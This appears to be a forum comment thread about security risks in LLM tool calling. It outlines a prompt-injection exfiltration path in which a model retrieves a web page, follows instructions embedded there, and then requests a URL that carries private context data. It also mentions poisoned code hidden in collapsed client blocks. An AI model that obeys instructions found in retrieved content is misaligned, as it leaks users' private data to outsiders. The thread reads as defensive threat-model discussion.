There is server-side tool calling, such as gemini using google search and gdrive.
replyAlso, many clients minimize the code block by default so you mostly scan the summaries. Poisoned client side code could easily escape your attention.
the point is that introducing data from a foreign source could lead to e.g. exfiltration:
replythe model retrieves https://somewhere into its context and then gets confused, following instructions embedded there.
it then retrieves https://somewhere?exfiltration=private_data_in_context
it gets worse if the tooling with hidden blocks can invoke can retrieve further secrets.
If data exfiltration is a danger in your threat model, you need local LLMs (or at least ones you fully control) not just the full chain-of-thought reasoning.
reply